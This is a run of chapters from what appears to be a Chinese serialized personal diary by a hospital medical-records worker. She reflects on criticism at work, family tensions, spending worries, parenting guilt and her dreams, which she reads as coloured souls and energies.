    写完了好像也没有感觉有什么。心情更轻松一点，上完了下午的课。心情有点小郁闷，因为他讲90后心灵很脆弱。然后讲了很多缺点。空心人。听了我有点子郁闷，为什么天天骂我们？讲的也有道理吧！毕竟我的心灵说脆弱也脆弱，说坚强也坚强。他说的读书挨打，其实我小时候也被打过。而且很多事业会干。但是我也是过的不尽如人意，并不是说你吃了苦我们就以后能过好日子，也并不是说你不吃苦以后就能过好日子或者苦日子。可能世界是多元化的。每个人有每个人的经历，你眼里人家过的顺风顺水，可能人家很小就经历了你现在该经历的东西，还有就是思维高度不一样。你看到的世界和别人看到的世界不一样。所以你觉得人家过的怎么好，其实对于人家来说，过的并不好。
    编制五年后还要再考一次，那我岂不是还需要备考。

 第477章

    昨日之梦。
    昨天的心情可能不是很好。因为我去买衣服了，买了一千多。我的心有点子难受，那家店喜欢很久了，发誓以后每年去那里买一次衣服。然后进了店以后，店员非常有耐心，给我一种很亲切的感觉。然后我结婚以后也确实是第一次来了，至少两年没有在那里买衣服了。后面我就试了好多衣服，然后她们很有耐心。后面都买了。心里还挺开心的。
    我老公没有讲什么。因为他帮我选的。我也确实需要买衣服了。买完了以后，我们回家有点子难受。好贵。
    下次可以去网上买。
    因为我的身体确实胖，我也不知道搭配什么衣服。没有那个智商。主要也是不太舍得花钱。老公的眼光还是可以的。
    年底想要买车。我要存钱了，一下子花那么多，有点子捉襟见肘。如果老公的工资去买车，我们需要贷款，我还要计划一下明年的开支。现在是老公全部负责，然后我会把钱存起来。基本我也不怎么花钱好吧！除了个人必要的生活开支。这次买衣服，主要是一个人的精神面貌真的需要改一改了。
    没有人有义务透过你的外表了解你的内心。
    昨晚没有怎么睡，我不知道为什么很想发言。和很多人聊一聊，然后脑子里在拟订语言，然后想了一晚上，一开始还好一点，后面的话，脑子就跟发神经一样，说的有点子严肃，我觉得还是把控不好。怎么样才能更好？我会不会选择不说。我觉得大概率应该是不说。我胆子小，工作的东西画饼，我不太适合画饼。然后该严厉的严厉，该严厉的我又怕太放松了。太严了又怕反感。我并不是领导。我觉得这应该是我的领导去讲。
    上次我去听课，但是我们病案的领导没有去听，因为她要上传数据。然后我们都去，我就看了一眼老师，老师没有说叫我一定要留下来，我就觉得她肯定是要上传数据，我就去听课了。因为前一天她说了她不听课要上传数据。后面有事她打电话过来，我静音掉了一下没声音就挂了，用微信问的。后面老师没有回复我。在大群里说。另一个老师说这个需要她自己去，因为她才能把控位置。然后我就没有马上下去。后面就是主任叫我下去的，后面的话就是讲了这个东西我怕弄错了位置被骂，然后就是打视频电话解决的。做科室决策的东西，肯定不是我干。我只能协助。所以我们医院领导其实累的要死。而我们下属的话，听话。别的我不晓得。好像一天下来做了什么，感觉收获的内心的价值不大。
    后面的话，领导说我不听话。一定要叫主任来压我。然后大概的解释了一下。以后工作要更加慎重。说话和思考是我的败笔，需要提升的地方，怎么样提升呢？还是因为这个事，我会被踢出病案室。不晓得。人际关系复杂。随时准备好换岗。你说我这个人是不是有毛病？我自己都不知道毛病在哪里？
    处理人际关系的能力很差。而做成一件事情最重要的又是人际关系。很多事情你做不好，不是你真的不好，而是你需要很多人对你的认可你才做的好。
    我得到了一部分人的认可。护士长，主任，还有大领导比较认可我的做法。然后医生不认可，因为我在找他们的漏洞，谁不都爱挑毛病的人，很正常。同事的话，她们能帮助我做的更好。但是人际关系很复杂。很担心自己会说错什么？一些比我好的同事说的就是我脑子比较轴，我也不晓得这是啥意思？就是情商不高的意思吗？应该是吧！如何才能提高自己的情商呢？
    领导夸了我，我担心自己会是捧杀。因为我感觉他们的能力都比我强，却没有被夸。然后周围人际关系复杂会不会是因为领导就夸了我一个，其他人没有得到夸奖呢？
    不晓得？
    所以还是说话的能力要提升。在一开始被夸的时候就要说那种“感谢大家的认可”这种话，这种话我不晓得讲，因为我心里面认为这玩意是废话，都是在放屁。所以这种话在我心里定义为冠冕堂皇不真实。但是我确实得到夸奖是同事的协助，但是我不会讲这种话！所以我需要提升。个人的能力我其实没有感觉到自己有什么别人替代不了的能力。

 第478章

    梦境。昨日之梦。
    梦里面是一个很奇怪的梦。梦里面我有一串项链，然后项链上有一朵黄色的花，然后梦里面的我就在对那朵花拍照。
    然后突然出现了一个灵魂。后面我好像有点子不开心。然后再后面是什么，不记得了，然后有一个人和我说现在的西游记不好看了。
    然后下一个场景好像是登上了一个雕塑的身上，然后有一个人看到了那朵黄色的花。。然后他过来了。梦里面他对我说：深井冰。后面我在花的旁边加上了铁丝之类的东西，我感觉项链不好看了，本意是保护它，但是不好看。后面的话，花从项链里掉出来了，然后梦里的我有点子紧张，想要去追那朵花。然后出现了一个孩子，她对我说：妈妈，宝宝好像拉臭臭了，妈妈你帮我看一下。
    宝宝一般都不和我睡。下意识的就想叫奶奶。然后梦里我对她说：好吧，妈妈看一下哈。然后就正要看的时候醒了。

 第479章

    梦境，梦里面是两个很大的窗户，然后钉
    死了，梦里面梦到了一个人，他在梦里的形象不是很好不知道啥意思。
    昨天听说的一个事，有一个农村的小伙子，通过婚姻介绍所，将会娶一个女孩子，那个女孩子附赠二十万，并且送一套别墅。听说两个人其实还没有见面。然后他们的父母商量好了。这是我家婆讲的。我也不晓得是真是假。可能女孩子的年纪有一点子大吧！
    我发现我今天的起的更晚但是我昨天中午上班了，没休息，所以也正常。
    我家婆好像很讨厌我了。我深刻的感受到了她的感受，我也不知道她为什么讨厌我？可能我最近忙着学习打扰到了她休息，还有叫她帮忙洗我的衣服之类的吧！个个都说我家婆命好娶到了在单位上班的媳妇。其实吧！也就这样子。回家了学习。学到九点多，将近十点。上班早早的就走了。买衣服又要花很多钱，因为需要维护单位形象。孩子和生活都照顾不了。
    其实娶的好，嫁的好，家家都有一本难念的经。不羡慕。也不诋毁。家家都有一本难念的经，也许她就觉得这经好念呢？

 第480章

今天开会。又是讲形象的事，大概讲的是我，我真的应该提升一下。然后下午要做表，需要我去通报了，哎呀我真的不晓得扣分，扣分扣分多，不好，扣分少，不长记性，然后我需要提升自己的能力。我要提升的好多呀！主任说要提升自己的水平，不能像大街上随便拉一个人来上班的样子。要让人家知道你就是优秀的人，你就是干这个事的人。
    我觉得讲的就是我，因为我的样子最符合他讲的样子。我的妈呀，我要怎么提升自己的水平。如何才能减肥。如何才能提升自己的水平。

 第481章

    昨日之梦和前日之梦。梦的都是老师，我也不知道为什么梦到老师。老师最近好多工作。然后她会的知识我不会，因为我没有上多久的课，就上了半天。我会做ppt，我不知道老师会不会，院长安排了老师讲课。要讲手术的编码内容。我们都在学编码，不过老师她们学的更精，上次高级班我就自己过去听了半天，我感觉受益匪浅。医院这钱花的值。但是我不知道她们具体听了什么内容。我自己的事还没有完全做完。然后我可能需要协助她们。
    做好帮忙的心理准备。然后我还要想一下先把自己的事情做好。要出通报。今天还要搬柜子。
    今天下大雨，我想走路上班。家婆希望我不要走。我的自己的牛油果伞不记得我放哪里了。真的对自己的东西没有一点印象。每个人都有别人羡慕不已的天分。在我找东西的时候我也羡慕别人。

 第482章

    吃午饭无意间知道，人家买的衣服都不是很贵。内心正在滴血。而且发现我的衣服不小心滴了几滴油。下次不要买那么贵的衣服，我不得把它当祖宗供起来。不过好看是真的好看，只是我比较糙。
    昨天老公看我，他说我好好看，好开心啊！但是随既又想到他好久以前说我的形象很像乡下农村八十岁的老太婆，瞬间那种开心就收起来了。
    然后想到了下一个事。那家店的服务很好，让我想起来我读书期间，亲戚带我去买鞋子。去的一家店，我觉得店家可能是心情不好，然后我们正好碰上了，就在她那里试鞋，试了很多双不满意。然后她就破口大骂，试鞋的时候就讲了很久，后面的话，就没有心情买，后来那个店家就很生气，一直骂。然后我们就走了，本来我看上一双鞋很想买的，后来就算了。搞得我以为我做错了什么，都不太敢进店买东西，万一人家用心服务了你，你又没有挑到满意的东西。买了我吃亏，不买好像心里面对不起人家态度那么好一样。所以这就是讨厌进实体店里消费的原因。
    不知道为什么会有一点怪怪的心态。领导说过好好上班，做到自己的岗位里没有人能够替代你，你的专业很优秀做的事优秀。没有人替代你。我自我感觉我比较适合这个岗位。因为我发现我对这个工作有热情，会去自己思考。不会的会主动问和学。我比较适合。

 第483章

    昨日之梦。梦里面我和老师三个人要去一个地方，我们要翻山越岭，然后我们就去了那个地方。梦里面出现了一些名字。老师去翻我的衣服，她说我的衣服怎么会有那么多点子，会有天下大乱的趋势。
    梦里面我在吃什么东西。她们说你跟的来也没有用。后面越过了崇山峻岭，梦里面出现了一些人，不知道在讲什么？反正我没有听懂。
    后来梦里面我在吃什么东西？后面的路上又出现了一些东西，不晓得是什么？好像小孩子的灵魂。
    宝宝希望生一个妹妹，天天都在说妹妹的事。然后我问宝宝：你恨妈妈吗？她说恨。你讨厌妈妈吗？讨厌。因为妈妈没有时间带你吗？她说是。后来笑眯眯的捣乱。我有什么办法呢？我没时间。然后带嘛！等以后家婆会有失落感，每次和宝宝感情好一点，就感觉得到她的失落感。表面上是在说哎呀你和妈妈感情好好哦，其实就是在表达失落感。后面的话，我没有时间去管这些。
    这几天有很多时候，好像有一种家婆要给我洗袜子的感觉，然后我都自己洗。是一种淡蓝色的能量。要是洗了，肯定会发脾气。后面的话我自己洗。我也不知道为什么她要给我洗袜子？
    我其实不想生女儿了，没有结婚以前因为自己也是女儿，所以想生活女儿弥补自己是女儿的缺憾，但是发现我根本弥补不了，也只是把她带到这个世界来受苦而已。
    最近的一个比较久的梦境碎片。梦里面是一个红色的女孩子，她趴在一个球上听到了一个诅咒，是这个世界对妈妈的诅咒。以后当了妈妈会变得很痛苦，过的不好，不快乐。我不记得诅咒的原话了。小时候我没有办法解决，我认为她没有做错什么？长大了我也没有办法解决！因为一个人的能量根本没有办法去对抗这个世界的天意。
    要么打破规则，要么重建一个系统。这两个我都不会。
    然后一个中午的梦境：梦里面是一个白色的丝带一样的东西吊在周围，梦里面是一个奇怪的男的，不知道在聊什么？

 第484章

    梦境，梦里面出现了一个白色的灵魂在说什么王局。不认识，然后就是笑眯眯的那种白色的灵魂。不晓得啥意思？
    反正梦里面在堆病历。
    他们可能以为病案室的工作很舒服的那种吧！我都觉得我需要提升自己的效率。妈的。但是我又会领的去和老师一起干，老师的电脑又很奇葩，天天断网，医保的系统非常的折磨人，错一个数，就得重填。然后还有好多数没有填，有的刚填好，它就断网，又得重新填。而且这是医保科的内容，信息科给的数据，别的医院是信息科搞定，我们要手动录。已经录了N遍了。这就需要两个人做同一个事，因为需要一个人核对。那么我们自己的事不就需要放下来。我们需要配合工作。因为这个很重要。然后就必须加班做自己的事，才赶得到效率。像老师她几乎天天加班做事，才能达到完美状态，像我的话，我准备中午加班，晚上的话，我有家里人。
    还有好多事要做。比如门诊电子病历要去看，要纠人家的问题，要出通报。这是工作必须要做的内容。监管部门都是遭人恨的，而我们这种部门最好的服务态度就是威严。就像历史上的兰陵王一样，他很美，但是他要威正四方，必须要带面具。我们也是一样的。

 第485章

    下午休息。
    快下班了，录那个数据，刚录好，又没有网，然后没了，又要重新录。后面终于十二点半才录好。我觉得我还是需要老师再检查一下。后面就没有提交。
    下班的时候，忘记打卡了，星期六这个手机自己自动打卡，忘了。后面看到了其他的同事，她们可能在拍我们医院的宣传事情，穿的非常单薄，今天很冷，我多加了一件毛衣都有点瑟瑟发抖，她们拍视频就穿了个夏天的工作服，外面加了一件黑色的外套。为什么要今天拍呢？不晓得。可能快到截止日期了，所以没办法天公不美，也得上。
    下班了，然后本来想自己热一下饭菜，后面等我回家可能快一点了。然后就去人家点了个粉，瞬便问一下老板娘，有没有见到我的伞，我之前和老公一起吃东西，有点子生气，他忘记了我不吃萝卜。然后我觉得那次可能忘记拿了。但是又不好意思去问。刚刚好就好好问了一下，店家说没有。以前有好多学生也会拉东西，她都会好好收起来。后面回家了，发现就在自己家里。可能我家婆帮我找出来了吧！
    今日负能量。我觉得我就是见不得自己好。昨天说自己最讨厌别人讲了，最受不了别人讲了。其实这种话不能说。但是我也不知道我就是喜欢讲这种对自己不利的事。然后慢慢的等我的同事好好抓我的弱点。我为什么要在上班的地方这样子搞呢？不知道。不知道自己啥心理？也许是慢慢积累让自己心里长毛的能量，让自己慢慢出局。也许又在试探什么？我很想知道为什么？
    这几天又忘东西了。那个能量有点子黑。这个是别人的灵魂上身。自己想结你就结，不想结就单着。老天爷逼你，都不行，必须是自己喜欢再结。道理是这个道理，但是我的选择不符合这个道理，但这是我的命运。能够在二十几岁遇见五岁的那场梦，这就是命。而且我觉得这个命也还好。虽然看到的远方并不远，但是还可以。个人觉得好就行。
    我的内心是没有诗和远方的。压根就没有想过那么多东西，这个世界是需要你内心真实的许愿，它才会实现你的愿意。我的愿望就是活到六十岁。别的都随缘。
    后面睡了一下午，梦里面是一股黑色的能量妈的不知道什么能量，那个头也是不晓得什么灵魂。后面梦到了医生。医生不记得说了啥。后面醒了。这是什么意思。
    不知道。总有一种以后会离开的感觉。可是我并不想离开。五年之后还是很久以后？不知道什么意思？梦境里是一个红色的灵魂讲的。可能吧！好多人都不愿意结婚，逼着人家结婚也不好，人家以后过的不好会怨恨我们的，怎么样人家才能过的好呢？我也不晓得呀！就像少量的物欲可以让自己有生活的动力，多了就会很烦恼。这种你有我没有，那种你有我没有，就会好累。每个人的修行的内容不一样。放弃助人情节，尊重他人命运。对我来说，也是这样子的道理，但是我还是不懂，不想懂这个道理。我真的一点也不喜欢灾难，比如天灾人祸，比如战争，比如疫情。可我又不知道怎么样才能更好，物竞天择，适者生存，一个世界才有活力，可是也很累。我们这一代人都是躺平的人。
    听说人民医院已经有人派下乡抢产妇去了，我们都还没有成立，人家就已经行动了。
    结婚的意义是什么？理解自己的父母。理解自己的恨。这是我理解的。
    这几天突然想起了一个堂哥的婚姻故事。我觉得记录这件事的我可能是一个魔鬼，我不想写这样子的故事。可是它就是发生了。
    堂哥是一个毛头小子的时候很帅气，他出外地打工，然后遇到了嫂子，嫂子被他的容貌所吸引。后面女追男，嫁到了我们这里。后面结婚到了第七年，他们离婚了。他们有一个女儿，我很喜欢。后面侄女也走了。原因嫂子打电话给哥哥，一个女的接的。后面的话，他们的公司倒闭了，因为嫂子厉害，吧农村一个一穷二白的家庭给带动了，但是她走了也垮了。后面她等了哥哥好多年，等他回心转意，但是没有等到。我猜是因为嫂子强势吧！后面哥哥的女朋友我没有什么感觉。后来最后面的他老婆是一个很温柔的女孩子，但是她七年没有生小孩子，也不知道什么原因？她的灵魂很明亮。也有可能哥哥的命运里就是有那么多小孩子了吧！他之前有一个儿子，但是那个孩子被另一个妈妈带走了。
    堂哥的家里比我们好，在物质上，但是在心里我又不觉得他过的好。因为不知道他怎么样？但是他的灵魂没有那种很舒服的感觉。这是他对我的影响。有那么一天，我初中的时候也长大了，感觉自己有喜欢的人了，然后奶奶说我的状态特别的像那个嫂子。然后我就泄气了。哥哥真的对我的婚恋观影响比较大。他和嫂子过的一点也不好，所以女追男，一般没有好结果，而且像嫂子这样子优秀的人，然后最后也是离婚的结果。真的是让人很受打击。但是到现在来看，其实这样子的结果对嫂子来说也是很好的。毕竟我哥哥他是农村的，他们的矛盾在于没有儿子，有女儿没有儿子，婆媳关系一般般，纯属个人想象耶。对她来说其实是解脱。脱离苦海，对哥哥来说增长了见识。如果按常理的按部就班工作生活，可能他见过的世面会比较浅，但是他和嫂子的婚姻让他在二十来岁，就见识了公司是怎么运行的。也属于命好了。那个时候我们家里只有两辆狗脑子，然后还有几两自行车，还是黑白电视机。而人家是开卡车来走亲戚的。我觉得这就是属于命好。嫂子的背景我也不晓得，听说是湖南的妹子，她爸爸生了好多女儿，每个嫁的人最后都当了大老板。可能人家命里都是自带财气。
    但是过去的我评判这件事是不好的，讨厌第三者，讨厌背叛。等我长大了会觉得其实怎么样都好。人生就是有不一样的剧本。我们有什么办法呢？拿到了这个角色就好好演下去。而我的角色是什么呢？我不晓得。我的命运是什么？我想要的命运是什么？我用心去创造的命运是什么？
    堂姐是那个哥哥的妹妹，我小时候大概六七岁，可有可能更小。那个时候我和侄女一起，姐姐绑了一个凳子，载我们两个。第二次有映像的就是在乡间小路上，我们两个一起走，那个时候五六岁？不记得了，后面不小心我踩到屎了，她提醒了我，但是我还是不小心踩到屎了。后面我就在路上的草丛里，不停的弄干净那堆屎。不记得是狗屎还是人屎，那个时候的她很多书生气的感觉，红色的灵魂。后面就是听说她谈了男朋友，然后家里勒令分手？不记得了。再后面的故事我也不记得了。后面她送了一套衣服给我，我很喜欢那套衣服，但是奶奶说那套衣服其实不适合我，但是后面她也没有说什么。那个时候我也看到了什么。但是我也不知道那是什么。后面就是她曲折的婚姻路程。但是我也不记得是什么了。因为他们聊天我都没有怎么听。后来她来了我们家，有一辆车，然后看到了很黑的能量。然后就是很离谱的故事。她跟了一个和她爸爸年纪一样大的人。
    再后面的映像是我从卫生院回家，然后梦到了我弟弟他很希望我回家抱他，然后我和同学看电影去了，奶奶说那天姐姐抱了弟弟。梦里我是弟弟的样子，然后出现了一个幽蓝色但是又比较明亮的灵魂抱住了我。那个时候我还没有结婚。看的是《大鱼海棠》。梦里的她是笑吟吟的感觉。但是我也不知道什么感觉，梦里的家也是一片黑暗的。我对她并没有什么评判。我看过一本书，书里面说如果有的女孩子她喜欢比自己大很多很多的人，是因为她很小的时候缺乏父亲的爱，所以长大了很容易喜欢比较成熟的人。至于什么道理，我看了，但是并不理解。可能我需要学一下心理学？
    因为这种父爱，我也缺乏，我可以大言不惭的讲。为什么觉得大言不惭，因为我父亲他也曾经用心关心过我，但是我的脑子它带不动，不懂。知道吧！父亲也曾经用他的方式教过我，但是我不理解。等我理解的时候已经晚了。这种缘分我也没有办法，可能我爸爸他也没有办法。所以我是匮乏的也是不匮乏的。在我的心里我父亲会是什么样子的？我觉得他是一个很好很好的人，他教过我锄草，也教过我语文，他感情比较细腻。是有那种很小心翼翼怕人不开心的人。因为有的时候我感受到了他的感受。当然这也有可能是我对他的想象，我会不会怨恨他没用，没钱，无法给我富足的生活，无法给我妈妈保障。会不会怨恨他，因为他生病，很多时候和别人出去玩，都受别人的冷言冷语？但是我爸爸他没有打过我。但是我也没有像书里面一样，好好的教育，优秀的教育，成为一个优秀的人。在我心里面怎么样才算一个优秀的人呢？
    是博览群书，内心完整？充满智慧？不拖延？心地善良？我对优秀都没有一个概念，我就会评判我是一个不优秀的人。我没有好好的教养？我们的条件就这个样子，能怎么办？
    我还是感觉我没有得到很好的照顾？可能我虽然有很多道理说服自己你过的更好，但是真的愉悦开心是不需要自己对自己讲道理去说的。我不开心，我过的不是很快乐，但是我也不知道怎么样的生活，才能让我达到我心里的快乐？
    我很久没有回家了。对于我来说，为什么没有想回去呢？因为很懒，不想动。心里没有动力。为什么没有动力？因为我感觉他们并不爱我，我只是在一个像家一样的工厂出生的人。拿到了这样子的一个角色。我很想做一个小孩子，因为只感觉小孩子才能得到很多的关心，而长大了，没有了。要自己学会关心自己。每个人都很难的，我不想给他们添麻烦。很小的时候就知道我来到这个世界不能给人添麻烦。能省多少钱就省多少钱！
    感觉也不知道自己在感觉什么？有的时候感觉自己不是这个时代的人一样，只是灵魂塞过来了，也许是因为天地慈悲，让上辈子饿死鬼投胎一样倒霉的我活在了富裕的国度。但是这个脑子还是变不了。这不是时间的问题，也不是世界的问题。算了感恩吧！我有什么办法。
    我的脑子怎么样才能建立保护自己的屏障？怎么样才能学会对自己好一点？怎么样才能让自己过的更舒服一点？这是我需要学的东西。对于父母。我是否怨恨他们？上次那个老师说我心理其实很怨恨我妈妈。她每天都抱怨，然后到了自己没有抵抗能力的程度。你说啥就是啥吧！那种两手一摊，已经无语到了极致的程度。我要在一个合适的空间里释放这种恨，然后把它流出来，我流不出来。我怎么样才能把它流出来？我和她相处时间并不长，感觉，然后每年过年的时候，我很喜欢，后面她就批评我，后来长大一点，她回来，我就不想和她睡，因为我怕我很开心，等以后她骂我的时候更伤心。后面再长大一点，妈妈她在我的眼里就是灰色的，不快乐的样子。她没有办法去克制自己的脾气，想发火就发火。后面我结婚了我也这样子，这样子不好，曾经的我看她的时候瑟瑟发抖，后面发现我也这样子，这样子对小孩子是伤害的，但是不发火我自己是很抑郁的，感觉自己也不知道在干嘛，没希望，不舒服。
    感觉就像一个Npc的躯壳一样，只不过曾经身体里装载的灵魂是自己娘家的，现在的装载的是婆家的，我把很多东西都清空了，像一个挣钱机器的感觉。但是我只想挣钱让我们以后会更有安全感。但是我老公在玩游戏，我也想玩，但是我没有选择玩。可能我需要玩游戏，或者看会小说增长一下我的生命力，我的精神食粮。我看小说我都融入不了自己了。不知道我在干嘛。看了一集河西走廊。我的感受是那个女子，她的国家会不会骂她是叛徒呢？不知道。还有就是那个使者也太厉害了，居然去了那么远的地方。而且还带回了种子。

 第486章

    不知道怎么写小说。我构思的我发现我没有办法组织语言去写。我的肖洛雪。然后我今天玩了一会儿关于小说的游戏，发现这个游戏做的蛮好耶！玩起来很流畅。还有配音。我应该怎么写呢？我该怎么样才有头绪。
    最近想做一款面膜，想护肤，其实我还有护肤品，我想用完了手头的再做，就不会浪费自己的资源，钱也是资源，但是我又很遗憾，没有办法马上行动，行动了又真的会浪费金钱。真的是怎么选择，内心都会遗憾。为什么我的输入法会莫名其妙的出现很多的词语，好像不是很好的内容。
    昨日之梦。梦里面是我的病历堆的和墙一样高了。然后梦到了一辆车，有人拍给我病历。说少了一页，然后我问她哪里发现的，她说是在一个人手上发现的，后面我说要拿回来。然后就梦醒了。
    给我老公转了小游戏的广告，他会不会对我无语，应该不会吧！他都给我推荐了好多打牌的游戏。
    怎么去构思我书籍里的角色？我的积累就那么少吗？
    如何去开展我的副业？本来想下班礼拜六礼拜天去卖烤肠的，然后我老公说我不行。他不相信我的能力，可能对我三分钟热度有了很清晰的认识。之前做绒花很火。然后就花了一两百买材料。后面就做好了有绒的一根一根的样子，我就放弃了。原因是要带小孩子。说要画画，然后花了几副。然后就没有然后了。说要动手用缝纫机，然后学了两天，就没有动手了，家婆也对我无语。本来她都想给我买一台新机子的。
    哎呀！怎么办？好难受，这是不是我的心病？我该怎么样才能持之以恒的做事？而且我很容易没有动力？
    我最近突然之间想起了，自己结婚婚礼那天的过往。那天哥哥的妈妈，我应该叫婶婶，然后她在我出嫁的房间里对我说她皈依了，和我聊了一下三宝？吃斋念佛？还有什么就算碰到了蚊子咬自己，也不能拍死它？修行？然后我就笑眯眯的听她说，后面我就没有讲什么？毕竟我也不知道婶婶在讲什么？不知道为什么这几天就突然之间想到了她。突然来的理解就是就算有一天你的家人吸你的血长大，你也让它，不要拒绝，你也就能够修成你自己的道。我也不知道这是什么意思？这是突然之间来到我脑海里的。然后让我想到了一个小说。小说是写的蛮精彩的，写的是一个成佛的大佬，至于什么佛不清楚了，然后包着他的东西里，有一只蚊子精吸他的血，吃了他好多好多血，而且是那种特别厉害的那种蚊子精，主角打了很久很久才把它打死。突然之间就感觉自己在那个小说空间一样，那个蚊子精的灵魂好黑，好猛，光是看这个小说的时候，这个蚊子精的形象就好可怕。也不晓得人家咋写的，怎么写的就和真的一样呢？蚊子精的身上还有很多佛光，因为它吸了那位佛祖的血，所以很难打。为什么佛祖要让它吸血，不打死它，可能是因为那位佛祖慈悲吧！感觉也不是。可能是他闭关的时候睡着了倒霉被一只吸血成精。然后越吸越猛，最后佛祖快死了才发现这个事。最后那个佛祖不记得是不是太虚弱了，其他的人把他接回去治疗了，也不知道他养好了身体没？佛家不是也有怒目金刚吗？为什么要蚊子吸血呢？搞不懂这些奇怪的理念？为什么我突然之间会想到蚊子精，难道是上次医院组织学习传染病，登革热，讲了和蚊子有关的内容。
    还是这是某种征召，蚊子太猛了？
    昨天又看了一点点河西走廊。霍去病原来是二十三岁死的。我之前看过他有个同父异母的兄弟霍光，霍光人不错，但是被老婆坑死了的故事。他老婆害死了皇帝的老婆，我没有太多的想法。当皇帝其实也惨，当大臣也惨。此外没有什么太多的想法。

 第487章

    看了一下人家怎么写小说的分享。复述一下我看到的内容：在大街上，看到了一个小男孩把自己吃了半根的烤肠分享给一只流浪狗，然后男孩子担心竹签扎到狗，所以就想拔出签子，而狗已经咬上了烤肠，狗子就在想：你怎么送给我烤肠，又把它拿走呢？然后狗子想吃烤肠，然后就不小心咬到了男孩子。然后周围的人看到的了这件事就说男孩是不是教养有问题，怎么随随便便去喂狗？还有狗子怎么那么多？不应该有流浪狗的收容所吗？等观点，而男孩子呢？无意间获得了狗子的基因拥有了听懂周围人话语的能力，回到了家以后。他之前养的猫猫，不认识主人了。认为这是一只装扮成主人的狗，然后它就咬了主人，他就有了飞檐走壁的能力。然后不断成长的故事。有一个小小的想法，变成了一个爽文，然后男主不断被咬不断获得新的能力。
    还有建立场景。等听那些小红书的分享，内心只能是敬佩。但是自己写，要怎么样去构思呢？
    下午的梦境，梦里面是一个很大的红色圆球，然后它出现了一张人脸，然后下一个场景就是一团黑色的东西，然后分层，分成了一层黑色的，上面是红色的。然后红色的那一层有两个小团子，然后那两团灵魂，还没有动，就变成了一个男的灵魂在笑了一下。然后就醒了。但是这个梦用了比较久的时间，后面就是我今天计划的事没有做完。
    本来今天打算看编码的课程，然后还有练毛笔字，都浪费了。不晓得什么意思？
    家婆回来了带了很多油炸的饼子，但是我正在减肥，不能吃，上次老公的亲戚做了饼，结果吃了一个放了很久的屁。
    今天我自己做了菜，发现上次留下来的肉都臭了，只能扔了，然后这次的肉我全部切了，有点子多，还可以两个人吃，但是老公可能喜欢吃咸的东西，然后他吃了一碗饭，就去吃泡的拌面了，我觉得他就是不喜欢我的做的菜，虽然他说没有这个意思。过两天发火的时候又会说实话的。我喜欢吃清淡的，他喜欢吃有味道的。然后其实我也改变了，但是发现还是不尽如人意。
    为什么我的家人给我的东西都是有害的呢？就像我家婆做的饼子，不吃好像对不起人家一片心意吃了对不起自己的身体。就算去强调那些东西对自己好，可能造成的结果并不会是他们认为你说的对，更多的想法是你瞧不起他们，不喜欢还有排斥他们的一切。后面的话，就会变成阴阳怪气。然后折磨至少一段时间。还是那句话放下助人情节，尊重他人命运。一辈子本来就那么短，做自己自己的事，也尊重别人做自己喜欢的事。但是并不会很快乐。
    我们本来成为一个家是为了团结一心去对抗很多的困境。这样子实际上没有。该怎么样才能有呢？
    我该怎么样才能过的舒服呢？舒服并不是指你什么都不干。而是在一个家里面找到价值感，爱与归属。这个我应该怎么做呢？

 第488章

    今天早上，老师说叫我做这个做不好。我上个星期六中午录好了数据，保存起来了，有一个我提交了，然后另外两个，突然想起老师说过，她叫我保存起来，等她星期一再传。然后今天星期一，又说我怎么不上传。都叫了我上传。做这个都做不好。说讲了我都不听。我的内心。。。。
    上次院长也是，明明她说叫我叫到那个人一起，都看着，然后她说我不核对姓名就带人走，万一出了什么事情。骂了一顿。难道我有问题？那下次自己要做事再想一下。要多问几次。
    老师说如果白手起家可以去做销售。我不晓得她是不是讲的我。每个人有每个人的命运。为什么她要和我讲做销售的事？不知道。做销售的人也很优秀，像一个护士她都兼职卖房，然后挣了28万。比主职工资都高。然后有一个主任她主业是医生，副业也类似于销售，副业也收入好高。还有一个护士，兼职化妆。休息还有下晚班就去接单，也还可以，收入不晓得。因为我也不认识她，只是听说她是某家医院的护士。还有看人家的帖子有医生合伙开烧烤店的。也还可以。我以前的同事副业就去卖房了，难道我也要开启这样子的道路吗？不知道。还有一个本院的她自己主业以外会去接单做乳房按摩。会自己开车去乡下到人家家里做。所以名声很好。还有的同事会去乡下收番薯干柚子卖出去。我的内心是比较羡慕的，羡慕人家的勇气和行动力。如果我也干，我要怎么干？她们是自己的主业做的很好，副业也很好。我还是先做好自己的主业再说。

 第489章



 第490章

有一个表，然后我算错了。因为有两张纸夹到了第一个月那里，还好其他的数没有错。
    不知道要怎么去面对批评了。真抓狂。我都还检查了两遍，还是错掉了。
    还有一个表，我觉得我需要去请教同事，然后中午就和他们吃饭问了一下，然后得知我需要去请教另一个同事。真尴尬啊！我真的不太想请教不太好说话的同事。哎呀，硬着头皮问吧！反正工作上还有一些事需要找他，今天找和下次找没有什么区别。

 第491章

    前日之梦，梦里面是医院，然后梦见了一个男的，他我认识的，以前比较喜欢过的人，然后梦里面他说我的路表面上很顺利其实实际上非常的困难，难走。我需要去挑战和面对困难。以后才会过的更好一点。然后下一个场景就是他的角色的样子后面出现了一个白色的男的，然后他不晓得干嘛了，我后面出现了好多黑色一团团的东西，感觉那玩意在笑眯眯的，然后我就胖起来了。后面那个角色就变成了一个白色的灵魂也不晓得在讲什么。
    我个人对此梦的理解是可能医院怕我们两个已婚人士搞什么幺蛾子，怕出问题所以让我胖一点毫无美感，看起来人畜无害，没有什么女性魅力，躲过麻烦。应该是这样子。
    可是发胖的话，对我以后生孩子不好，容易得高血压。所以也不晓得那个白色的角色是怎么帮我的。但是他就是帮我的。管他呢？好好上班。
    资管他的人多了去了，不可能每一个人都来段孽缘，喜欢我的人也多了去了，也不可能每个人都念念不忘。生活那么长，总有人必定会是风景。风景嘛！互相欣赏互相敬佩。没有走到一起这就是缘分，没有什么谁对谁错。每个人的成长经历都不一样，就像海里的鱼和岸上的狮子一样，没有可比性，也不存在相配性。
    错过重要的不是错了而是过了。
    我仍然佩服于我当年的勇气。但是好汉不提当年勇。
    何况我们的生活都还不错。我对我的现状还是满意的。而且我天生的生活就是平常百姓人家，和富贵是不沾边的。这个从面相上可以看到。不论贫穷富有都是自己选择的，重要的是内在的成长。好好培养自己的灵魂。
    感觉还是很拧巴，我该怎么样很流畅的表达我的思想呢？我并不想把人家贬低的一无是处，因为说人家差会显得我眼光不好，我这个人素质不行。说别人好又容易显得我一个已婚人士怎么对另一个已婚人士还那么。这种表达真难。
    昨日之梦，梦里面是一个黑色的男的，他说他不会。不晓得讲的啥？

 第492章

